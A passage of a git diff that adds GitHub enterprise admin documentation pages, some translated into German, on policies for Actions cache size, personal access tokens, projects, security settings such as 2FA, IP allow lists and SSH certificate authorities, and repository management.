+{% ifversion actions-cache-admin-ui %}Organization owners can set a lower total cache size that applies to each repository in their organization. {% endif %}People with admin access to a repository can set a total cache size for their repository up to the maximum cache size allowed by the enterprise {% ifversion actions-cache-admin-ui %}or organization{% endif %} policy setting.
+
+{% ifversion actions-cache-admin-ui %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+1. In the "Artifact, cache and log settings" section, under **Maximum cache size limit**, enter a value, then click **Save** to apply the setting.
+1. In the "Artifact, cache and log settings" section, under **Default cache size limit**, enter a value, then click **Save** to apply the setting.
+
+{% else %}
+
+The policy settings for {% data variables.product.prodname_actions %} cache storage can currently only be modified using the REST API:
+
+* To view the current enterprise policy settings, see "[Get GitHub Actions cache usage policy for an enterprise](/rest/actions/cache#get-github-actions-cache-usage-policy-for-an-enterprise)."
+* To change the enterprise policy settings, see "[Set GitHub Actions cache usage policy for an enterprise](/rest/actions/cache#get-github-actions-cache-usage-policy-for-an-enterprise)."
+
+{% data reusables.actions.cache-no-org-policy %}
+
+{% endif %}
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md
new file mode 100644
index 0000000000..5dab82e738
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md
@@ -0,0 +1,64 @@
+---
+title: Erzwingen von Richtlinien für persönliche Zugriffstoken in deinem Unternehmen
+intro: 'Unternehmensbesitzer können steuern, ob {% data variables.product.pat_v2 %} und {% data variables.product.pat_v1_plural %} zulässig sein sollen, und ob eine Genehmigung für {% data variables.product.pat_v2 %} erzwungen werden soll.'
+versions:
+  feature: pat-v2-enterprise
+shortTitle: '{% data variables.product.pat_generic_caps %} policies'
+ms.openlocfilehash: 6252f7ac67fe77cbe20ab85ff2cbd6f04ac17905
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107005'
+---
+{% note %}
+
+**Hinweis**: {% data reusables.user-settings.pat-v2-beta %}
+
+Während der Betaphase müssen Unternehmen {% data variables.product.pat_v2 %} abonnieren. Sollte sich dein Unternehmen noch nicht angemeldet haben, wirst du beim Ausführen der unten angegebenen Schritte zur Anmeldung und zum Festlegen von Richtlinien aufgefordert.
+
+Auch wenn ein Unternehmen {% data variables.product.pat_v2 %} nicht abonniert hat, können sich Organisationen im Besitz des Unternehmens anmelden. Alle Benutzer, einschließlich {% data variables.product.prodname_emus %}, können {% data variables.product.pat_v2 %} mit Zugriff auf Ressourcen erstellen, die dem Benutzer/der Benutzerin gehören (z. B. mit ihrem Konto erstellte Repositorys). Dies gilt auch dann, wenn das Unternehmen {% data variables.product.pat_v2 %} nicht abonniert hat.
+
+{% endnote %}
+
+## Einschränken des Zugriffs über {% data variables.product.pat_v2 %}
+
+Unternehmensbesitzer können den Zugriff über {% data variables.product.pat_v2 %} auf private und interne Ressourcen verhindern, die dem Unternehmen gehören. {% data variables.product.pat_v2_caps %} ermöglichen weiterhin den Zugriff auf öffentliche Ressourcen innerhalb der Organisationen. Diese Einstellung steuert nur den Zugriff über {% data variables.product.pat_v2 %}, nicht über {% data variables.product.pat_v1_plural %}. Weitere Informationen zur Einschränkung des Zugriffs über {% data variables.product.pat_v1_plural %} findest du auf dieser Seite unter [Einschränken des Zugriffs über {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic).
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %}
+1. Klicke unter {% octicon "law" aria-label="The law icon" %} **Richtlinien** auf **Organisationen**.
+1. Wähle unter **Zugriff über {% data variables.product.pat_v2 %} einschränken** die gewünschte Option aus:
+   - **Konfiguration von Zugriffsanforderungen durch Organisationen zulassen**: Jede Organisation im Besitz des Unternehmens kann entscheiden, ob der Zugriff über {% data variables.product.pat_v2 %} eingeschränkt werden soll.
+   - **Zugriff über {% data variables.product.pat_v2 %} einschränken**: {% data variables.product.pat_v2_caps %} können nicht auf Organisationen im Besitz des Unternehmens zugreifen. Durch {% data variables.product.pat_v2 %} erstellte SSH-Schlüssel funktionieren weiterhin. Organisationen können diese Einstellung nicht außer Kraft setzen.
+   - **Zugriff über {% data variables.product.pat_v2 %} zulassen**: {% data variables.product.pat_v2_caps %} können auf Organisationen im Besitz des Unternehmens zugreifen. Organisationen können diese Einstellung nicht außer Kraft setzen.
+1. Klicken Sie auf **Speichern**.
+
+## Erzwingen einer Richtlinie zur Genehmigung von {% data variables.product.pat_v2 %}
+
+Unternehmensbesitzer können erzwingen, dass alle Organisationen im Besitz des Unternehmens {% data variables.product.pat_v2 %} mit Zugriff auf die Organisation genehmigen. {% data variables.product.pat_v2_caps %} ermöglichen weiterhin das Lesen öffentlicher Ressourcen innerhalb der Organisation ohne Genehmigung. Umgekehrt können Unternehmensbesitzer den Zugriff über {% data variables.product.pat_v2 %} auf Organisationen im Besitz des Unternehmens ohne vorherige Genehmigung zulassen. Unternehmensbesitzer können auch festlegen, dass jede Organisation innerhalb des Unternehmens eigene Genehmigungseinstellungen auswählt.
+
+{% note %}
+
+**Hinweis**: Nur {% data variables.product.pat_v2 %} erfordern eine Genehmigung. Dies gilt nicht für {% data variables.product.pat_v1_plural %}. Sofern die Organisation oder das Unternehmen den Zugriff über {% data variables.product.pat_v1_plural %} nicht eingeschränkt hat, können {% data variables.product.pat_v1 %} ohne vorherige Genehmigung auf Organisationsressourcen zugreifen. Weitere Informationen zur Einschränkung von {% data variables.product.pat_v1_plural %} findest du auf dieser Seite unter [Einschränken des Zugriffs über {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic) sowie unter [Festlegen einer Richtlinie für {% data variables.product.pat_generic %} in deiner Organisation](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization).
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %}
+1. Klicke unter {% octicon "law" aria-label="The law icon" %} **Richtlinien** auf **Organisationen**.
+1. Wähle unter **Genehmigung für {% data variables.product.pat_v2 %} anfordern** die gewünschte Option aus:
+   - **Konfiguration von Genehmigungsanforderungen durch Organisationen zulassen**: Jede Organisation im Besitz des Unternehmens kann entscheiden, ob für {% data variables.product.pat_v2 %} mit Zugriff auf die Organisation eine Genehmigung angefordert werden soll.
+   - **Nutzung des Genehmigungsflows durch Organisationen erzwingen**: Alle Organisationen im Besitz des Unternehmens müssen {% data variables.product.pat_v2 %} mit Zugriff auf die Organisation genehmigen. Von Organisationsbesitzern erstellte {% data variables.product.pat_v2_caps %} benötigen keine Genehmigung. Organisationen können diese Einstellung nicht außer Kraft setzen.
+   - **Genehmigungsflow in allen Organisationen deaktivieren**: Von Organisationsmitgliedern erstellte {% data variables.product.pat_v2_caps %} können ohne vorherige Genehmigung auf Organisationen im Besitz des Unternehmens zugreifen. Organisationen können diese Einstellung nicht außer Kraft setzen.
+1. Klicken Sie auf **Speichern**.
+
+## Einschränken des Zugriffs über {% data variables.product.pat_v1_plural %}
+
+Unternehmensbesitzer können den Zugriff über {% data variables.product.pat_v1_plural %} auf das Unternehmen und Organisationen im Besitz des Unternehmens verhindern. {% data variables.product.pat_v1_caps_plural %} ermöglichen weiterhin den Zugriff auf öffentliche Ressourcen innerhalb der Organisation. Diese Einstellung steuert nur den Zugriff über {% data variables.product.pat_v1_plural %}, nicht über {% data variables.product.pat_v2 %}. Weitere Informationen zur Einschränkung des Zugriffs über {% data variables.product.pat_v2 %} findest du auf dieser Seite unter [Einschränken des Zugriffs über {% data variables.product.pat_v2 %}](#restricting-access-by-fine-grained-personal-access-tokens).
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %}
+1. Klicke unter {% octicon "law" aria-label="The law icon" %} **Richtlinien** auf **Organisationen**.
+1. Wähle unter **Zugriff über {% data variables.product.pat_v1_plural %} auf deine Organisationen einschränken** die gewünschte Option aus:
+   - **Konfiguration von Zugriffsanforderungen für {% data variables.product.pat_v1_plural %} durch Organisationen zulassen**: Jede Organisation im Besitz des Unternehmens kann entscheiden, ob der Zugriff über {% data variables.product.pat_v1_plural %} eingeschränkt werden soll.
+   - **Zugriff über {% data variables.product.pat_v1_plural %} einschränken**: {% data variables.product.pat_v1_caps_plural %} können nicht auf das Unternehmen oder Organisationen im Besitz des Unternehmens zugreifen. Durch {% data variables.product.pat_v1_plural %} erstellte SSH-Schlüssel funktionieren weiterhin. Organisationen können diese Einstellung nicht außer Kraft setzen.
+   - **Zugriff über {% data variables.product.pat_v1_plural %} zulassen**: {% data variables.product.pat_v1_caps_plural %} können auf das Unternehmen und Organisationen im Besitz des Unternehmens zugreifen. Organisationen können diese Einstellung nicht außer Kraft setzen.
+1. Klicken Sie auf **Speichern**.
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md
new file mode 100644
index 0000000000..1826cd4cb6
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md
@@ -0,0 +1,70 @@
+---
+title: Erzwingen von Richtlinien für Projekte in deinem Unternehmen
+intro: 'Du kannst Richtlinien für {% data variables.projects.projects_v2_and_v1 %} innerhalb der Organisationen deines Unternehmens erzwingen oder zulassen, dass die Richtlinien in jeder Organisation festgelegt werden.'
+permissions: Enterprise owners can enforce policies for projects in an enterprise.
+redirect_from:
+  - /articles/enforcing-project-board-settings-for-organizations-in-your-business-account
+  - /articles/enforcing-project-board-policies-for-organizations-in-your-enterprise-account
+  - /articles/enforcing-project-board-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/enforcing-project-board-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/enforcing-project-board-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-project-board-policies-in-your-enterprise-account
+  - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Policies
+  - Projects
+shortTitle: Project board policies
+ms.openlocfilehash: 2bb72b21094fadea8f584eb4749ed0cea69619ee
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108282'
+---
+## Informationen zu Richtlinien für Projekte in deinem Unternehmen
+
+Du kannst Richtlinien erzwingen, um zu steuern, wie Unternehmensmitglieder {% data variables.projects.projects_v2_and_v1 %} verwalten, oder du kannst den Organisationsbesitzern erlauben, Richtlinien für {% data variables.projects.projects_v2_and_v1 %} auf Organisationsebene zu verwalten.{% ifversion project-visibility-policy %}
+
+Einige Richtlinien gelten sowohl für {% data variables.product.prodname_projects_v2 %} (die neue Projektbenutzeroberfläche) als auch für {% data variables.product.prodname_projects_v1 %} (die vorherige Projektbenutzeroberfläche), während einige nur für {% data variables.product.prodname_projects_v1 %} gelten. Weitere Informationen zu jeder Benutzeroberfläche findest du unter [Informationen zu {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) und [Informationen zu {% data variables.product.prodname_projects_v1 %}](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards).
+{% else %}Weitere Informationen findest du unter [Informationen zu Projektboards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards).{% endif %}
+
+## Erzwingen einer Richtlinie für organisationsweite Projekte
+
+Für alle Organisationen deines Unternehmens kannst du organisationsweite Projektboards aktivieren bzw. deaktivieren oder Besitzern gestatten, diese Einstellung auf Organisationsebene zu verwalten.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %}
+4. Lies unter „Organization projects“ (Organisationsprojekte) die Informationen zum Ändern der Einstellung. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Wähle im Dropdownmenü unter „Organization projects“ (Organisationsprojekte) eine Richtlinie aus.
+  ![Dropdownmenü mit den Optionen für die Richtlinie für Organisationsprojektboards](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png)
+
+{% ifversion project-visibility-policy %}
+## Erzwingen einer Richtlinie für Sichtbarkeitsänderungen an Projekten
+
+Du kannst für alle Organisationen, die deinem Unternehmen angehören, die Möglichkeit aktivieren oder deaktivieren, dass Personen mit Administratorzugriff auf ein Projekt die Sichtbarkeit des Projekts ändern können. Alternativ kannst du den Besitzern erlauben, die Einstellung auf Organisationsebene zu verwalten.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %}
+1. Überprüfe unter „Berechtigung zum Ändern der Projektsichtbarkeit“ die Informationen zum Ändern der Einstellung. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+1. Wähle das Dropdownmenü aus, und klicke dann auf eine Richtlinie.
+
+   ![Screenshot des Dropdownmenüs zum Konfigurieren der Richtlinie „Berechtigung zum Ändern der Projektsichtbarkeit“](/assets/images/help/business-accounts/project-visibility-change-drop-down.png) {% endif %}
+
+{% ifversion projects-v1 %}
+## Erzwingen von Richtlinien für {% data variables.product.prodname_projects_v1 %}
+
+Einige Richtlinien gelten nur für {% data variables.product.prodname_projects_v1 %}.
+
+### Erzwingen einer Richtlinie für Repositoryprojekte
+
+Du kannst für alle Organisationen, die deinem Unternehmen angehören, Projekte auf Repositoryebene aktivieren oder deaktivieren oder den Besitzern erlauben, die Einstellung auf Organisationsebene zu verwalten.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %}
+4. Lies unter „Repository projects“ (Repository-Projekte) die Informationen zum Ändern der Einstellung. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Wähle im Dropdownmenü unter „Repository projects“ (Repository-Projekte) eine Richtlinie aus.
+
+   ![Dropdownmenü mit den Optionen der Richtlinie für Repositoryprojektboards](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png) {% endif %}
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
new file mode 100644
index 0000000000..bedf7001c2
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
@@ -0,0 +1,201 @@
+---
+title: Enforcing policies for security settings in your enterprise
+intro: 'You can enforce policies to manage security settings in your enterprise''s organizations, or allow policies to be set in each organization.'
+permissions: Enterprise owners can enforce policies for security settings in an enterprise.
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /articles/enforcing-security-settings-for-organizations-in-your-business-account
+  - /articles/enforcing-security-settings-for-organizations-in-your-enterprise-account
+  - /articles/enforcing-security-settings-in-your-enterprise-account
+  - /github/articles/managing-allowed-ip-addresses-for-organizations-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/enforcing-security-settings-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/enforcing-security-settings-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-security-settings-in-your-enterprise-account
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Policies
+  - Security
+shortTitle: Policies for security settings
+---
+
+## About policies for security settings in your enterprise
+
+You can enforce policies to control the security settings for organizations owned by your enterprise on {% data variables.product.product_name %}. By default, organization owners can manage security settings. For more information, see "[Keeping your organization secure](/organizations/keeping-your-organization-secure)."
+
+{% ifversion ghec or ghes %}
+
+## Requiring two-factor authentication for organizations in your enterprise
+
+Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise use two-factor authentication to secure their user accounts.
+
+Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. For more information, see "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/)."
+
+{% warning %}
+
+**Warnings:**
+
+- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable two-factor authentication for their account within three months of their removal from your organization. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
+- Any organization owner, member, billing manager, or outside collaborator in any of the organizations owned by your enterprise who disables 2FA for their account after you've enabled required two-factor authentication will automatically be removed from the organization.
+- If you're the sole owner of an enterprise that requires two-factor authentication, you won't be able to disable 2FA for your user account without disabling required two-factor authentication for the enterprise.
+
+{% endwarning %}
+
+Before you require use of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up 2FA for their accounts. Organization owners can see if members and outside collaborators already use 2FA on each organization's People page. For more information, see "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)."
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+4. Under "Two-factor authentication", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Under "Two-factor authentication", select **Require two-factor authentication for all organizations in your business**, then click **Save**.
+  ![Checkbox to require two-factor authentication](/assets/images/help/business-accounts/require-2fa-checkbox.png)
+6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**.
+  ![Confirm two-factor enforcement box](/assets/images/help/business-accounts/confirm-require-2fa.png)
+7. Optionally, if any members or outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Each person must enable two-factor authentication before they can accept your invitation.
+
+{% endif %}
+
+{% ifversion ghec or ghae %}
+
+## Managing allowed IP addresses for organizations in your enterprise
+
+{% ifversion ghae %}
+
+You can restrict network traffic to your enterprise on {% data variables.product.product_name %}. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)."
+
+{% elsif ghec %}
+
+Enterprise owners can restrict access to private assets owned by organizations in an enterprise by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+
+{% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
+
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %}
+
+You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+
+### Adding an allowed IP address
+
+{% data reusables.identity-and-permissions.about-adding-ip-allow-list-entries %}
+
+{% data reusables.identity-and-permissions.ipv6-allow-lists %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
+{% data reusables.identity-and-permissions.check-ip-address %}
+
+### Allowing access by {% data variables.product.prodname_github_apps %}
+
+{% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %}
+
+### Enabling allowed IP addresses
+
+{% data reusables.identity-and-permissions.about-enabling-allowed-ip-addresses %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+3. Under "IP allow list", select **Enable IP allow list**.
+  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
+4. Click **Save**.
+
+### Editing an allowed IP address
+
+{% data reusables.identity-and-permissions.about-editing-ip-allow-list-entries %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
+{% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
+{% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
+8. Click **Update**.
+{% data reusables.identity-and-permissions.check-ip-address %}
+
+{% ifversion ip-allow-list-address-check %}
+### Checking if an IP address is permitted
+
+{% data reusables.identity-and-permissions.about-checking-ip-address %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.identity-and-permissions.check-ip-address-step %}
+{% endif %}
+
+### Deleting an allowed IP address
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
+{% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
+
+### Using {% data variables.product.prodname_actions %} with an IP allow list
+
+{% data reusables.actions.ip-allow-list-self-hosted-runners %}
+
+{% endif %}
+
+{% endif %}
+
+## Managing SSH certificate authorities for your enterprise
+
+You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %} For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)."
+
+{% data reusables.organizations.add-extension-to-cert %}
+
+### Adding an SSH certificate authority
+
+If you require SSH certificates for your enterprise, enterprise members should use a special URL for Git operations over SSH. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#about-ssh-urls-with-ssh-certificates)."
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.organizations.new-ssh-ca %}
+{% data reusables.organizations.require-ssh-cert %}
+
+### Deleting an SSH certificate authority
+
+Deleting a CA cannot be undone. If you want to use the same CA in the future, you'll need to upload the CA again.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.organizations.delete-ssh-ca %}
+
+{% ifversion ghec %}
+
+## Managing SSO for unauthenticated users
+
+If your enterprise uses {% data variables.product.prodname_emus %}, you can choose what unauthenticated users see when they attempt to access your enterprise's resources. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users)."
+
+By default, to hide the existence of private resources, when an unauthenticated user attempts to access your enterprise, {% data variables.product.company_short %} displays a 404 error.
+
+To prevent confusion from your developers, you can change this behavior so that users are automatically redirected to single sign-on (SSO) through your identity provider (IdP). When you enable automatic redirects, anyone who visits the URL for any of your enterprise's resources will be able to see that the resource exists. However, they'll only be able to see the resource if they have appropriate access after authenticating with your IdP.
+
+{% note %}
+
+**Note:** If a user is signed in to their personal account when they attempt to access any of your enterprise's resources, they'll be automatically signed out and redirected to SSO to sign in to their {% data variables.enterprise.prodname_managed_user %}. For more information, see "[Managing multiple accounts](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts)."
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. Under "Single sign-on settings", select or deselect **Automatically redirect users to sign in**.
+
+   ![Checkbox to automatically redirect users to sign in](/assets/images/enterprise/security/Enterprise-Redirect-Users-To-Sign-In-Checkbox.png)
+
+## Further reading
+
+- "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)"{% ifversion ghec %}
+- "[Accessing compliance reports for your enterprise](/admin/overview/accessing-compliance-reports-for-your-enterprise)"{% endif %}
+{% endif %}
diff --git a/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
new file mode 100644
index 0000000000..991873cdca
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
@@ -0,0 +1,368 @@
+---
+title: Enforcing repository management policies in your enterprise
+intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.'
+permissions: Enterprise owners can enforce policies for repository management in an enterprise.
+redirect_from:
+  - /enterprise/admin/installation/configuring-the-default-visibility-of-new-repositories-on-your-appliance
+  - /enterprise/admin/guides/user-management/preventing-users-from-changing-a-repository-s-visibility
+  - /enterprise/admin/user-management/preventing-users-from-changing-a-repositorys-visibility
+  - /enterprise/admin/user-management/restricting-repository-creation-in-your-instance
+  - /enterprise/admin/user-management/preventing-users-from-deleting-organization-repositories
+  - /enterprise/admin/installation/setting-git-push-limits
+  - /enterprise/admin/guides/installation/git-server-settings
+  - /enterprise/admin/articles/setting-git-push-limits
+  - /enterprise/admin/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories
+  - /enterprise/admin/installation/disabling-the-merge-conflict-editor-for-pull-requests-between-repositories
+  - /enterprise/admin/developer-workflow/blocking-force-pushes-on-your-appliance
+  - /enterprise/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization
+  - /enterprise/admin/developer-workflow/blocking-force-pushes-to-a-repository
+  - /enterprise/admin/articles/blocking-force-pushes-on-your-appliance
+  - /enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access-to-a-repository
+  - /enterprise/admin/user-management/preventing-users-from-changing-anonymous-git-read-access
+  - /enterprise/admin/articles/blocking-force-pushes-to-a-repository
+  - /enterprise/admin/articles/block-force-pushes
+  - /enterprise/admin/articles/blocking-force-pushes-for-a-user-account
+  - /enterprise/admin/articles/blocking-force-pushes-for-an-organization
+  - /enterprise/admin/articles/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization
+  - /enterprise/admin/developer-workflow/blocking-force-pushes
+  - /enterprise/admin/policies/enforcing-repository-management-policies-in-your-enterprise
+  - /admin/policies/enforcing-repository-management-policies-in-your-enterprise
+  - /articles/enforcing-repository-management-settings-for-organizations-in-your-business-account
+  - /articles/enforcing-repository-management-policies-for-organizations-in-your-enterprise-account
+  - /articles/enforcing-repository-management-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/enforcing-repository-management-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/enforcing-repository-management-policies-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-repository-management-policies-in-your-enterprise-account
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Policies
+  - Repositories
+  - Security
+shortTitle: Repository management policies
+---
+
+## About policies for repository management in your enterprise
+
+You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage repositories. You can also allow organization owners to manage policies for repository management. For more information, see "[Creating and managing repositories](/repositories/creating-and-managing-repositories) and "[Organizations and teams](/organizations)."
+
+{% ifversion ghes or ghae %}
+
+## Configuring the default visibility of new repositories
+
+Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. When you configure a default visibility setting for the enterprise, you choose which visibility is selected by default. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+
+If an enterprise owner disallows members from creating certain types of repositories, members will not be able to create that type of repository even if the visibility setting defaults to that type. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)."
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% ifversion ghes or ghae %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% else %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% endif %}
+{% data reusables.enterprise-accounts.options-tab %}
+1. Under "Default repository visibility", use the drop-down menu and select a default visibility.
+  ![Drop-down menu to choose the default repository visibility for your enterprise](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png)
+
+{% data reusables.enterprise_installation.image-urls-viewable-warning %}
+
+{% endif %}
+
+## Enforcing a policy for base repository permissions
+
+Across all organizations owned by your enterprise, you can set a base repository permission level (none, read, write, or admin) for organization members, or allow owners to administer the setting on the organization level.
+
